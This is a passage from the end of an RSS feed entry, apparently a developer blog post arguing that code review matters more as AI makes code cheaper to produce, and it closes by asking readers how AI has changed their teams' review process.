&lt;p&gt;I actually think it will become even more important.&lt;/p&gt;

&lt;p&gt;But the focus needs to change.&lt;/p&gt;

&lt;p&gt;When producing code becomes faster and cheaper, the real value of engineers will be their ability to understand context, see the bigger picture, and make better decisions.&lt;/p&gt;

&lt;p&gt;I would love to hear your experience:&lt;/p&gt;

&lt;p&gt;How has AI changed your team's coding and Code Review process?&lt;/p&gt;

&lt;p&gt;What has improved, and what challenges are you still facing?&lt;/p&gt;

</description>
      <category>ai</category>
      <category>frontend</category>
      <category>codereview</category>
      <category>softwareengineering</category>
    </item>
  </channel>
</rss>
